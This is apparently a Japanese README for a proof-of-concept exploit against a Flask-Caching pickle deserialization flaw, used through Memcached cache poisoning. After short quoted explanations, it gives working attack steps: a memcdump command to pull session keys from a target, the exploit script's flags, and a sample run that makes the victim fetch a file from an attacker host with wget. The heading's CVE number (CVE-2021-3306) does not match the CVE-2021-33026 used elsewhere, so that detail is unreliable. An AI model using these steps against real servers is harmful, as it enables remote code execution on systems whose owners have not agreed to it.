
Pickleシリアライゼーションによるリモートコード実行 - Memcachedポイズニング
Pickleシリアライゼーションのリモートコード実行 - Memcachedポイズニング PoCエクスプロイト
CVE-2021-3306とは?
「Flask-Caching拡張(バージョン1.10.1まで)は、FlaskでシリアライゼーションにPickleを利用しており、リモートコード実行やローカルの権限昇格を引き起こす可能性があります。攻撃者がキャッシュストレージ(例:ファイルシステム、Memcached、Redisなど)へのアクセスを得た場合、細工されたペイロードを構築し、キャッシュを汚染してPythonコードを実行できます。」
Pickleライブラリの機能とは?
「PythonにおけるPickleは、主にPythonオブジェクト構造のシリアライズおよびデシリアライズに使用されます。つまり、Pythonオブジェクトをバイトストリームに変換してファイルやデータベースに保存し、セッション間でプログラムの状態を維持したり、ネットワーク経由でデータを転送するプロセスです。」
Memcachedとは?
「Memcachedは、汎用的な分散メモリキャッシングシステムです。動的なデータベース駆動型Webサイトの高速化によく使用され、データやオブジェクトをRAMにキャッシュして外部データソースの読み取り回数を減らします。」
[!] エクスプロイト:
1. エクスプロイトを動作させるには、セッションcookieの提供が必要です。なぜか?このProof of Conceptでは、脆弱なFlaskアプリケーションのセッションcookieがmemcachedサービスによって管理または保存されているケースを想定しています:
memcdump --servers=target_machine_ip_address

2. エクスプロイトの使用方法:
-h --> ヘルプメニュー
--cmd --> ターゲットマシンで実行するコマンド
--rhost --> ターゲットマシンのIPアドレス
--rport --> ターゲットマシンのポート
--cookie --> 脆弱なFlaskアプリケーションの実際のセッションcookie。例:session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. エクスプロイトの実行:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

参考:
https://nvd.nist.gov/vuln/detail/CVE-2021-33026
https://github.com/pallets-eco/flask-caching/pull/209
https://www.synopsys.com/blogs/software-security/python-pickling/